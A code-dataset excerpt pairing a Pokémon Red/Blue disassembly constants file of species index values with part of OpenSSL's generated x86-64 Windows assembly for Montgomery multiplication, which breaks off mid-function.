f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
constants/pokemon_constants.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
constants/pokemon_constants.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
const_value = 1
const RHYDON ; $01
const KANGASKHAN ; $02
const NIDORAN_M ; $03
const CLEFAIRY ; $04
const SPEAROW ; $05
const VOLTORB ; $06
const NIDOKING ; $07
const SLOWBRO ; $08
const IVYSAUR ; $09
const EXEGGUTOR ; $0A
const LICKITUNG ; $0B
const EXEGGCUTE ; $0C
const GRIMER ; $0D
const GENGAR ; $0E
const NIDORAN_F ; $0F
const NIDOQUEEN ; $10
const CUBONE ; $11
const RHYHORN ; $12
const LAPRAS ; $13
const ARCANINE ; $14
const MEW ; $15
const GYARADOS ; $16
const SHELLDER ; $17
const TENTACOOL ; $18
const GASTLY ; $19
const SCYTHER ; $1A
const STARYU ; $1B
const BLASTOISE ; $1C
const PINSIR ; $1D
const TANGELA ; $1E
const MISSINGNO_1F ; $1F
const MISSINGNO_20 ; $20
const GROWLITHE ; $21
const ONIX ; $22
const FEAROW ; $23
const PIDGEY ; $24
const SLOWPOKE ; $25
const KADABRA ; $26
const GRAVELER ; $27
const CHANSEY ; $28
const MACHOKE ; $29
const MR_MIME ; $2A
const HITMONLEE ; $2B
const HITMONCHAN ; $2C
const ARBOK ; $2D
const PARASECT ; $2E
const PSYDUCK ; $2F
const DROWZEE ; $30
const GOLEM ; $31
const MISSINGNO_32 ; $32
const MAGMAR ; $33
const MISSINGNO_34 ; $34
const ELECTABUZZ ; $35
const MAGNETON ; $36
const KOFFING ; $37
const MISSINGNO_38 ; $38
const MANKEY ; $39
const SEEL ; $3A
const DIGLETT ; $3B
const TAUROS ; $3C
const MISSINGNO_3D ; $3D
const MISSINGNO_3E ; $3E
const MISSINGNO_3F ; $3F
const FARFETCHD ; $40
const VENONAT ; $41
const DRAGONITE ; $42
const MISSINGNO_43 ; $43
const MISSINGNO_44 ; $44
const MISSINGNO_45 ; $45
const DODUO ; $46
const POLIWAG ; $47
const JYNX ; $48
const MOLTRES ; $49
const ARTICUNO ; $4A
const ZAPDOS ; $4B
const DITTO ; $4C
const MEOWTH ; $4D
const KRABBY ; $4E
const MISSINGNO_4F ; $4F
const MISSINGNO_50 ; $50
const MISSINGNO_51 ; $51
const VULPIX ; $52
const NINETALES ; $53
const PIKACHU ; $54
const RAICHU ; $55
const MISSINGNO_56 ; $56
const MISSINGNO_57 ; $57
const DRATINI ; $58
const DRAGONAIR ; $59
const KABUTO ; $5A
const KABUTOPS ; $5B
const HORSEA ; $5C
const SEADRA ; $5D
const MISSINGNO_5E ; $5E
const MISSINGNO_5F ; $5F
const SANDSHREW ; $60
const SANDSLASH ; $61
const OMANYTE ; $62
const OMASTAR ; $63
const JIGGLYPUFF ; $64
const WIGGLYTUFF ; $65
const EEVEE ; $66
const FLAREON ; $67
const JOLTEON ; $68
const VAPOREON ; $69
const MACHOP ; $6A
const ZUBAT ; $6B
const EKANS ; $6C
const PARAS ; $6D
const POLIWHIRL ; $6E
const POLIWRATH ; $6F
const WEEDLE ; $70
const KAKUNA ; $71
const BEEDRILL ; $72
const MISSINGNO_73 ; $73
const DODRIO ; $74
const PRIMEAPE ; $75
const DUGTRIO ; $76
const VENOMOTH ; $77
const DEWGONG ; $78
const MISSINGNO_79 ; $79
const MISSINGNO_7A ; $7A
const CATERPIE ; $7B
const METAPOD ; $7C
const BUTTERFREE ; $7D
const MACHAMP ; $7E
const MISSINGNO_7F ; $7F
const GOLDUCK ; $80
const HYPNO ; $81
const GOLBAT ; $82
const MEWTWO ; $83
const SNORLAX ; $84
const MAGIKARP ; $85
const MISSINGNO_86 ; $86
const MISSINGNO_87 ; $87
const MUK ; $88
const MISSINGNO_89 ; $89
const KINGLER ; $8A
const CLOYSTER ; $8B
const MISSINGNO_8C ; $8C
const ELECTRODE ; $8D
const CLEFABLE ; $8E
const WEEZING ; $8F
const PERSIAN ; $90
const MAROWAK ; $91
const MISSINGNO_92 ; $92
const HAUNTER ; $93
const ABRA ; $94
const ALAKAZAM ; $95
const PIDGEOTTO ; $96
const PIDGEOT ; $97
const STARMIE ; $98
const BULBASAUR ; $99
const VENUSAUR ; $9A
const TENTACRUEL ; $9B
const MISSINGNO_9C ; $9C
const GOLDEEN ; $9D
const SEAKING ; $9E
const MISSINGNO_9F ; $9F
const MISSINGNO_A0 ; $A0
const MISSINGNO_A1 ; $A1
const MISSINGNO_A2 ; $A2
const PONYTA ; $A3
const RAPIDASH ; $A4
const RATTATA ; $A5
const RATICATE ; $A6
const NIDORINO ; $A7
const NIDORINA ; $A8
const GEODUDE ; $A9
const PORYGON ; $AA
const AERODACTYL ; $AB
const MISSINGNO_AC ; $AC
const MAGNEMITE ; $AD
const MISSINGNO_AE ; $AE
const MISSINGNO_AF ; $AF
const CHARMANDER ; $B0
const SQUIRTLE ; $B1
const CHARMELEON ; $B2
const WARTORTLE ; $B3
const CHARIZARD ; $B4
const MISSINGNO_B5 ; $B5
const FOSSIL_KABUTOPS ; $B6
const FOSSIL_AERODACTYL ; $B7
const MON_GHOST ; $B8
const ODDISH ; $B9
const GLOOM ; $BA
const VILEPLUME ; $BB
const BELLSPROUT ; $BC
const WEEPINBELL ; $BD
const VICTREEBEL ; $BE
NUM_POKEMON_INDEXES EQU const_value + -1
| 25.687179
| 40
| 0.589339
|
f25274506080079c1975354d69da3f71e69e5cbc
| 23,053
|
asm
|
Assembly
|
deps/openssl/asm/x64-win32-masm/bn/x86_64-mont.asm
|
nodejs/node.js-convergence
|
e11fe0c2777561827cdb7207d46b0917ef3c42a7
|
[
"Artistic-2.0"
] | 144
|
2015-05-01T19:38:55.000Z
|
2015-05-15T21:48:50.000Z
|
deps/openssl/asm/x64-win32-masm/bn/x86_64-mont.asm
|
flyover/node
|
8e743a77e48256444c3637f8282e4cad35da508c
|
[
"Artistic-2.0"
] | 24
|
2015-08-12T05:26:47.000Z
|
2017-05-31T20:55:42.000Z
|
deps/openssl/asm/x64-win32-masm/bn/x86_64-mont.asm
|
flyover/node
|
8e743a77e48256444c3637f8282e4cad35da508c
|
[
"Artistic-2.0"
] | 40
|
2015-10-22T09:55:16.000Z
|
2021-03-04T17:16:42.000Z
|
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
EXTERN OPENSSL_ia32cap_P:NEAR
PUBLIC bn_mul_mont
ALIGN 16
bn_mul_mont PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul_mont::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
test r9d,3
jnz $L$mul_enter
cmp r9d,8
jb $L$mul_enter
mov r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
cmp rdx,rsi
jne $L$mul4x_enter
test r9d,7
jz $L$sqr8x_enter
jmp $L$mul4x_enter
ALIGN 16
$L$mul_enter::
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r9d,r9d
lea r10,QWORD PTR[2+r9]
mov r11,rsp
neg r10
lea rsp,QWORD PTR[r10*8+rsp]
and rsp,-1024
mov QWORD PTR[8+r9*8+rsp],r11
$L$mul_body::
mov r12,rdx
mov r8,QWORD PTR[r8]
mov rbx,QWORD PTR[r12]
mov rax,QWORD PTR[rsi]
xor r14,r14
xor r15,r15
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD PTR[rcx]
imul rbp,r10
mov r11,rdx
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov r13,rdx
lea r15,QWORD PTR[1+r15]
jmp $L$1st_enter
ALIGN 16
$L$1st::
add r13,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add r13,r11
mov r11,r10
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$1st_enter::
mul rbx
add r11,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
lea r15,QWORD PTR[1+r15]
mov r10,rdx
mul rbp
cmp r15,r9
jne $L$1st
add r13,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
mov r11,r10
xor rdx,rdx
add r13,r11
adc rdx,0
mov QWORD PTR[((-8))+r9*8+rsp],r13
mov QWORD PTR[r9*8+rsp],rdx
lea r14,QWORD PTR[1+r14]
jmp $L$outer
ALIGN 16
$L$outer::
mov rbx,QWORD PTR[r14*8+r12]
xor r15,r15
mov rbp,r8
mov r10,QWORD PTR[rsp]
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
imul rbp,r10
mov r11,rdx
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov r10,QWORD PTR[8+rsp]
mov r13,rdx
lea r15,QWORD PTR[1+r15]
jmp $L$inner_enter
ALIGN 16
$L$inner::
add r13,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add r13,r10
mov r10,QWORD PTR[r15*8+rsp]
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$inner_enter::
mul rbx
add r11,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
lea r15,QWORD PTR[1+r15]
mul rbp
cmp r15,r9
jne $L$inner
add r13,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r13,r10
mov r10,QWORD PTR[r15*8+rsp]
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
xor rdx,rdx
add r13,r11
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-8))+r9*8+rsp],r13
mov QWORD PTR[r9*8+rsp],rdx
lea r14,QWORD PTR[1+r14]
cmp r14,r9
jb $L$outer
xor r14,r14
mov rax,QWORD PTR[rsp]
lea rsi,QWORD PTR[rsp]
mov r15,r9
jmp $L$sub
ALIGN 16
$L$sub:: sbb rax,QWORD PTR[r14*8+rcx]
mov QWORD PTR[r14*8+rdi],rax
mov rax,QWORD PTR[8+r14*8+rsi]
lea r14,QWORD PTR[1+r14]
dec r15
jnz $L$sub
sbb rax,0
xor r14,r14
and rsi,rax
not rax
mov rcx,rdi
and rcx,rax
mov r15,r9
or rsi,rcx
ALIGN 16
$L$copy::
mov rax,QWORD PTR[r14*8+rsi]
mov QWORD PTR[r14*8+rsp],r14
mov QWORD PTR[r14*8+rdi],rax
lea r14,QWORD PTR[1+r14]
sub r15,1
jnz $L$copy
mov rsi,QWORD PTR[8+r9*8+rsp]
mov rax,1
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$mul_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul_mont::
bn_mul_mont ENDP
ALIGN 16
bn_mul4x_mont PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul4x_mont::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$mul4x_enter::
and r11d,080100h
cmp r11d,080100h
je $L$mulx4x_enter
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r9d,r9d
lea r10,QWORD PTR[4+r9]
mov r11,rsp
neg r10
lea rsp,QWORD PTR[r10*8+rsp]
and rsp,-1024
mov QWORD PTR[8+r9*8+rsp],r11
$L$mul4x_body::
mov QWORD PTR[16+r9*8+rsp],rdi
mov r12,rdx
mov r8,QWORD PTR[r8]
mov rbx,QWORD PTR[r12]
mov rax,QWORD PTR[rsi]
xor r14,r14
xor r15,r15
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD PTR[rcx]
imul rbp,r10
mov r11,rdx
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[8+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+rsi]
adc rdx,0
add rdi,r11
lea r15,QWORD PTR[4+r15]
adc rdx,0
mov QWORD PTR[rsp],rdi
mov r13,rdx
jmp $L$1st4x
ALIGN 16
$L$1st4x::
mul rbx
add r10,rax
mov rax,QWORD PTR[((-16))+r15*8+rcx]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-8))+r15*8+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],rdi
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[8+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-8))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[8+r15*8+rcx]
adc rdx,0
lea r15,QWORD PTR[4+r15]
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[((-16))+r15*8+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-32))+r15*8+rsp],rdi
mov r13,rdx
cmp r15,r9
jb $L$1st4x
mul rbx
add r10,rax
mov rax,QWORD PTR[((-16))+r15*8+rcx]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-8))+r15*8+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],rdi
mov r13,rdx
xor rdi,rdi
add r13,r10
adc rdi,0
mov QWORD PTR[((-8))+r15*8+rsp],r13
mov QWORD PTR[r15*8+rsp],rdi
lea r14,QWORD PTR[1+r14]
ALIGN 4
$L$outer4x::
mov rbx,QWORD PTR[r14*8+r12]
xor r15,r15
mov r10,QWORD PTR[rsp]
mov rbp,r8
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
imul rbp,r10
mov r11,rdx
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[8+rcx]
adc rdx,0
add r11,QWORD PTR[8+rsp]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+rsi]
adc rdx,0
add rdi,r11
lea r15,QWORD PTR[4+r15]
adc rdx,0
mov QWORD PTR[rsp],rdi
mov r13,rdx
jmp $L$inner4x
ALIGN 16
$L$inner4x::
mul rbx
add r10,rax
mov rax,QWORD PTR[((-16))+r15*8+rcx]
adc rdx,0
add r10,QWORD PTR[((-16))+r15*8+rsp]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-8))+r15*8+rcx]
adc rdx,0
add r11,QWORD PTR[((-8))+r15*8+rsp]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],rdi
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
add r10,QWORD PTR[r15*8+rsp]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[8+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-8))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[8+r15*8+rcx]
adc rdx,0
add r11,QWORD PTR[8+r15*8+rsp]
adc rdx,0
lea r15,QWORD PTR[4+r15]
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[((-16))+r15*8+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-32))+r15*8+rsp],rdi
mov r13,rdx
cmp r15,r9
jb $L$inner4x
mul rbx
add r10,rax
mov rax,QWORD PTR[((-16))+r15*8+rcx]
adc rdx,0
add r10,QWORD PTR[((-16))+r15*8+rsp]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*8+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r15*8+rsp],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-8))+r15*8+rcx]
adc rdx,0
add r11,QWORD PTR[((-8))+r15*8+rsp]
adc rdx,0
lea r14,QWORD PTR[1+r14]
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],rdi
mov r13,rdx
xor rdi,rdi
add r13,r10
adc rdi,0
add r13,QWORD PTR[r9*8+rsp]
adc rdi,0
mov QWORD PTR[((-8))+r15*8+rsp],r13
mov QWORD PTR[r15*8+rsp],rdi
cmp r14,r9
jb $L$outer4x
mov rdi,QWORD PTR[16+r9*8+rsp]
mov rax,QWORD PTR[rsp]
pxor xmm0,xmm0
mov rdx,QWORD PTR[8+rsp]
shr r9,2
lea rsi,QWORD PTR[rsp]
xor r14,r14
sub rax,QWORD PTR[rcx]
mov rbx,QWORD PTR[16+rsi]
mov rbp,QWORD PTR[24+rsi]
sbb rdx,QWORD PTR[8+rcx]
lea r15,QWORD PTR[((-1))+r9]
jmp $L$sub4x
ALIGN 16
$L$sub4x::
mov QWORD PTR[r14*8+rdi],rax
mov QWORD PTR[8+r14*8+rdi],rdx
sbb rbx,QWORD PTR[16+r14*8+rcx]
mov rax,QWORD PTR[32+r14*8+rsi]
mov rdx,QWORD PTR[40+r14*8+rsi]
sbb rbp,QWORD PTR[24+r14*8+rcx]
mov QWORD PTR[16+r14*8+rdi],rbx
mov QWORD PTR[24+r14*8+rdi],rbp
sbb rax,QWORD PTR[32+r14*8+rcx]
mov rbx,QWORD PTR[48+r14*8+rsi]
mov rbp,QWORD PTR[56+r14*8+rsi]
sbb rdx,QWORD PTR[40+r14*8+rcx]
lea r14,QWORD PTR[4+r14]
dec r15
jnz $L$sub4x
mov QWORD PTR[r14*8+rdi],rax
mov rax,QWORD PTR[32+r14*8+rsi]
sbb rbx,QWORD PTR[16+r14*8+rcx]
mov QWORD PTR[8+r14*8+rdi],rdx
sbb rbp,QWORD PTR[24+r14*8+rcx]
mov QWORD PTR[16+r14*8+rdi],rbx
sbb rax,0
mov QWORD PTR[24+r14*8+rdi],rbp
xor r14,r14
and rsi,rax
not rax
mov rcx,rdi
and rcx,rax
lea r15,QWORD PTR[((-1))+r9]
or rsi,rcx
movdqu xmm1,XMMWORD PTR[rsi]
movdqa XMMWORD PTR[rsp],xmm0
movdqu XMMWORD PTR[rdi],xmm1
jmp $L$copy4x
ALIGN 16
$L$copy4x::
movdqu xmm2,XMMWORD PTR[16+r14*1+rsi]
movdqu xmm1,XMMWORD PTR[32+r14*1+rsi]
movdqa XMMWORD PTR[16+r14*1+rsp],xmm0
movdqu XMMWORD PTR[16+r14*1+rdi],xmm2
movdqa XMMWORD PTR[32+r14*1+rsp],xmm0
movdqu XMMWORD PTR[32+r14*1+rdi],xmm1
lea r14,QWORD PTR[32+r14]
dec r15
jnz $L$copy4x
shl r9,2
movdqu xmm2,XMMWORD PTR[16+r14*1+rsi]
movdqa XMMWORD PTR[16+r14*1+rsp],xmm0
movdqu XMMWORD PTR[16+r14*1+rdi],xmm2
mov rsi,QWORD PTR[8+r9*8+rsp]
mov rax,1
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$mul4x_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul4x_mont::
bn_mul4x_mont ENDP
EXTERN bn_sqrx8x_internal:NEAR
EXTERN bn_sqr8x_internal:NEAR
ALIGN 32
bn_sqr8x_mont PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_sqr8x_mont::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$sqr8x_enter::
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r10d,r9d
shl r9d,3
shl r10,3+2
neg r9
lea r11,QWORD PTR[((-64))+r9*4+rsp]
mov r8,QWORD PTR[r8]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$sqr8x_sp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*4+rsp]
jmp $L$sqr8x_sp_done
ALIGN 32
$L$sqr8x_sp_alt::
lea r10,QWORD PTR[((4096-64))+r9*4]
lea rsp,QWORD PTR[((-64))+r9*4+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$sqr8x_sp_done::
and rsp,-64
mov r10,r9
neg r9
lea r11,QWORD PTR[64+r9*2+rsp]
mov QWORD PTR[32+rsp],r8
mov QWORD PTR[40+rsp],rax
$L$sqr8x_body::
mov rbp,r9
DB 102,73,15,110,211
shr rbp,3+2
mov eax,DWORD PTR[((OPENSSL_ia32cap_P+8))]
jmp $L$sqr8x_copy_n
ALIGN 32
$L$sqr8x_copy_n::
movq xmm0,QWORD PTR[rcx]
movq xmm1,QWORD PTR[8+rcx]
movq xmm3,QWORD PTR[16+rcx]
movq xmm4,QWORD PTR[24+rcx]
lea rcx,QWORD PTR[32+rcx]
movdqa XMMWORD PTR[r11],xmm0
movdqa XMMWORD PTR[16+r11],xmm1
movdqa XMMWORD PTR[32+r11],xmm3
movdqa XMMWORD PTR[48+r11],xmm4
lea r11,QWORD PTR[64+r11]
dec rbp
jnz $L$sqr8x_copy_n
pxor xmm0,xmm0
DB 102,72,15,110,207
DB 102,73,15,110,218
and eax,080100h
cmp eax,080100h
jne $L$sqr8x_nox
call bn_sqrx8x_internal
pxor xmm0,xmm0
lea rax,QWORD PTR[48+rsp]
lea rdx,QWORD PTR[64+r9*2+rsp]
shr r9,3+2
mov rsi,QWORD PTR[40+rsp]
jmp $L$sqr8x_zero
ALIGN 32
$L$sqr8x_nox::
call bn_sqr8x_internal
pxor xmm0,xmm0
lea rax,QWORD PTR[48+rsp]
lea rdx,QWORD PTR[64+r9*2+rsp]
shr r9,3+2
mov rsi,QWORD PTR[40+rsp]
jmp $L$sqr8x_zero
ALIGN 32
$L$sqr8x_zero::
movdqa XMMWORD PTR[rax],xmm0
movdqa XMMWORD PTR[16+rax],xmm0
movdqa XMMWORD PTR[32+rax],xmm0
movdqa XMMWORD PTR[48+rax],xmm0
lea rax,QWORD PTR[64+rax]
movdqa XMMWORD PTR[rdx],xmm0
movdqa XMMWORD PTR[16+rdx],xmm0
movdqa XMMWORD PTR[32+rdx],xmm0
movdqa XMMWORD PTR[48+rdx],xmm0
lea rdx,QWORD PTR[64+rdx]
dec r9
jnz $L$sqr8x_zero
mov rax,1
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$sqr8x_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_sqr8x_mont::
bn_sqr8x_mont ENDP
ALIGN 32
bn_mulx4x_mont PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mulx4x_mont::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$mulx4x_enter::
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
shl r9d,3
DB 067h
xor r10,r10
sub r10,r9
mov r8,QWORD PTR[r8]
lea rsp,QWORD PTR[((-72))+r10*1+rsp]
lea r10,QWORD PTR[r9*1+rdx]
and rsp,-128
mov QWORD PTR[rsp],r9
shr r9,5
mov QWORD PTR[16+rsp],r10
sub r9,1
mov QWORD PTR[24+rsp],r8
mov QWORD PTR[32+rsp],rdi
mov QWORD PTR[40+rsp],rax
mov QWORD PTR[48+rsp],r9
jmp $L$mulx4x_body
ALIGN 32
$L$mulx4x_body::
lea rdi,QWORD PTR[8+rdx]
mov rdx,QWORD PTR[rdx]
lea rbx,QWORD PTR[((64+32))+rsp]
mov r9,rdx
mulx rax,r8,QWORD PTR[rsi]
mulx r14,r11,QWORD PTR[8+rsi]
add r11,rax
mov QWORD PTR[8+rsp],rdi
mulx r13,r12,QWORD PTR[16+rsi]
adc r12,r14
adc r13,0
mov rdi,r8
imul r8,QWORD PTR[24+rsp]
xor rbp,rbp
mulx r14,rax,QWORD PTR[24+rsi]
mov rdx,r8
lea rsi,QWORD PTR[32+rsi]
adcx r13,rax
adcx r14,rbp
mulx r10,rax,QWORD PTR[rcx]
adcx rdi,rax
adox r10,r11
mulx r11,rax,QWORD PTR[8+rcx]
adcx r10,rax
adox r11,r12
DB 0c4h,062h,0fbh,0f6h,0a1h,010h,000h,000h,000h
mov rdi,QWORD PTR[48+rsp]
mov QWORD PTR[((-32))+rbx],r10
adcx r11,rax
adox r12,r13
mulx r15,rax,QWORD PTR[24+rcx]
mov rdx,r9
mov QWORD PTR[((-24))+rbx],r11
adcx r12,rax
adox r15,rbp
lea rcx,QWORD PTR[32+rcx]
mov QWORD PTR[((-16))+rbx],r12
jmp $L$mulx4x_1st
ALIGN 32
$L$mulx4x_1st::
adcx r15,rbp
mulx rax,r10,QWORD PTR[rsi]
adcx r10,r14
mulx r14,r11,QWORD PTR[8+rsi]
adcx r11,rax
mulx rax,r12,QWORD PTR[16+rsi]
adcx r12,r14
mulx r14,r13,QWORD PTR[24+rsi]
DB 067h,067h
mov rdx,r8
adcx r13,rax
adcx r14,rbp
lea rsi,QWORD PTR[32+rsi]
lea rbx,QWORD PTR[32+rbx]
adox r10,r15
mulx r15,rax,QWORD PTR[rcx]
adcx r10,rax
adox r11,r15
mulx r15,rax,QWORD PTR[8+rcx]
adcx r11,rax
adox r12,r15
mulx r15,rax,QWORD PTR[16+rcx]
mov QWORD PTR[((-40))+rbx],r10
adcx r12,rax
mov QWORD PTR[((-32))+rbx],r11
adox r13,r15
mulx r15,rax,QWORD PTR[24+rcx]
mov rdx,r9
mov QWORD PTR[((-24))+rbx],r12
adcx r13,rax
adox r15,rbp
lea rcx,QWORD PTR[32+rcx]
mov QWORD PTR[((-16))+rbx],r13
dec rdi
jnz $L$mulx4x_1st
mov rax,QWORD PTR[rsp]
mov rdi,QWORD PTR[8+rsp]
adc r15,rbp
add r14,r15
sbb r15,r15
mov QWORD PTR[((-8))+rbx],r14
jmp $L$mulx4x_outer
ALIGN 32
$L$mulx4x_outer::
mov rdx,QWORD PTR[rdi]
lea rdi,QWORD PTR[8+rdi]
sub rsi,rax
mov QWORD PTR[rbx],r15
lea rbx,QWORD PTR[((64+32))+rsp]
sub rcx,rax
mulx r11,r8,QWORD PTR[rsi]
xor ebp,ebp
mov r9,rdx
mulx r12,r14,QWORD PTR[8+rsi]
adox r8,QWORD PTR[((-32))+rbx]
adcx r11,r14
mulx r13,r15,QWORD PTR[16+rsi]
adox r11,QWORD PTR[((-24))+rbx]
adcx r12,r15
adox r12,rbp
adcx r13,rbp
mov QWORD PTR[8+rsp],rdi
DB 067h
mov r15,r8
